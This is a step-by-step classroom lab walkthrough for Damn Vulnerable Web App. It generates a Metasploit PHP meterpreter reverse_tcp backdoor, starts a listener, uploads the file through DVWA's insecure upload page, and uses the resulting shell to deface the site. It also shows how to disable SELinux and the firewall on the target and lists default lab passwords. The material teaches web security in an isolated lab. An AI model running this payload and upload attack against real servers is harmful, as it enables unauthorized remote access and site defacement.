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Hướng Dẫn Thực Hành -Upload PHP Backdoor Payload (DVWA): Lesson 8


Section 0. Background Information
  • What is Damn Vulnerable Web App (DVWA)?
    • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
    • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
  • Pre-Requisite Labs
  • Lab Notes
    • In this lab we will do the following:
      1. We will create a php/meterpreter/reverse_tcp payload
      2. We will start the php/meterpreter/reverse_tcp listener
      3. We will upload the PHP payload to the DVWA Upload screen
      4. We will use the PHP payload to establish a connection to the DVWA (Fedora14) machine.
  • Legal Disclaimer
        Bài hướng dẫn dùng cho lớp học
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

Section 2. Login to Fedora14
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14
      3. Play virtual machine
  2. Login to Fedora14
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.106.
      • Please record your IP address.

Section 4. Temporarily Disable SELINUX and Firewall
  1. Start a Terminal Console
    • Instructions:
      1. sestatus
      2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
      3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
    • Notes:
      • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
  2. Place selinux in permissive mode
    • Instructions:
      1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
      2. sestatus
        • Notice that "Current mode:" changed to permissive.
  3. Disable Firewall
    • Instructions:
      1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
      2. service iptables stop
        • This command disables the firewall.

Section 5. Fix Upload Ownership and Permissions
  1. Fix Ownership and Permissions
    • Instructions:
      1. Bring up a Terminal Console on the DVWA (Fedora14) machine.
      2. chown root:apache /var/www/html/dvwa/hackable/uploads/
      3. chmod 775 /var/www/html/dvwa/hackable/uploads/
      4. ls -ld /var/www/html/dvwa/hackable/uploads/
    • Known Issue:
      1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is user and group owned by root.
      2. In addition, the apache user did not have "write" permission to allow a user to place a file in the hackable/uploads directory.

Section 6. Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Do not Click on the OK Button.

Section 7. Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 8. Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.


Section 9. Build PHP msfpayload
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Create msfpayload
    • Instructions:
      1. mkdir -p /root/backdoor
      2. cd /root/backdoor
      3. msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > PHONE_HOME.php
        1. Obtain the BackTrack IP Address from (Section 8, Step 2).
      4. ls -l PHONE_HOME.php
  3. Edit PHONE_HOME.php
    • Instructions:
      1. vi PHONE_HOME.php
  4. Remove the "#" character
    • Instructions:
      1. Press "x" to delete the "#" character on the first line.
      2. Press <Esc>
      3. Type ":wq!"

Section 10. Start PHP Payload Listener
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Start msfconsole
    • Instructions:
      1. msfconsole
  3. Start PHP Listener
    • Instructions:
      1. use exploit/multi/handler
      2. set PAYLOAD php/meterpreter/reverse_tcp
      3. set LHOST 192.168.1.105
        • Obtain the BackTrack IP Address from (Section 8, Step 2).
      4. set LPORT 4444
      5. exploit
      6. Continue to Next Section

Section 11. Login to DVWA
  1. Start Firefox
    • Instructions:
      1. Click on Firefox
  2. Login to DVWA
    • Instructions:
      1. Start up Firefox on BackTrack
      2. Place http://192.168.1.106/dvwa/login.php in the address bar.
        • Replace 192.168.1.106 with Fedora's IP address obtained in (Section 3, Step 3).
      3. Login: admin
      4. Password: password
      5. Click on Login

Section 12. Set Security Level
  1. Set DVWA Security Level
    • Instructions:
      1. Click on DVWA Security, in the left hand menu.
      2. Select "low"
      3. Click Submit
Section 13. Upload PHP Payload
  1. Upload Menu
    • Instructions:
      1. Select "Upload" from the left navigation menu.
      2. Click Browse
  2. Navigate to PHONE_HOME.php
    • Instructions:
      1. Click on File System
      2. Click on root
      3. Click on backdoor
      4. Select Open
  3. Upload PHONE_HOME.php
    • Instructions:
      1. Click the Upload button
  4. Activate PHONE_HOME.php
    • Instructions:
      1. http://192.168.1.106/dvwa/hackable/uploads/
        • This is the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
      2. Click on PHONE_HOME.php
      3. Continue to next step
  5. Connection Established
    • Notes:
      1. Notice the stage was sent to the DVWA machine (Fedora14) along with the handy dandy meterpreter.
      2. Continue to next step.
  6. Establishing a Shell
    • Instructions:
      1. shell
        • Establishes a "sh" shell.
      2. uptime
        • How long has the server been up
      3. pwd
        • Current working directory
      4. whoami
        • Show who am I logged in as.
      5. w
        • Notice there is no entry for the user apache
      6. echo "Hacked at 4-23-2012, by Your Name" > hacked.html
        • Create some simple web graffiti
        • Replace 4-23-2012 with the present date.
        • Replace the string "Your Name" with your actual name.
      7. ls -l

Section 14. Proof of Lab
  1. Proof of Lab
    • Proof of Lab Instructions:
      1. On BackTrack, place the below URI in Firefox
        • http://192.168.1.106/dvwa/hackable/uploads/hacked.html
          • Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
      2. Do a <PrtScn>
      3. Paste into a word document
      4. Email to Csirt247@Gmail.Com
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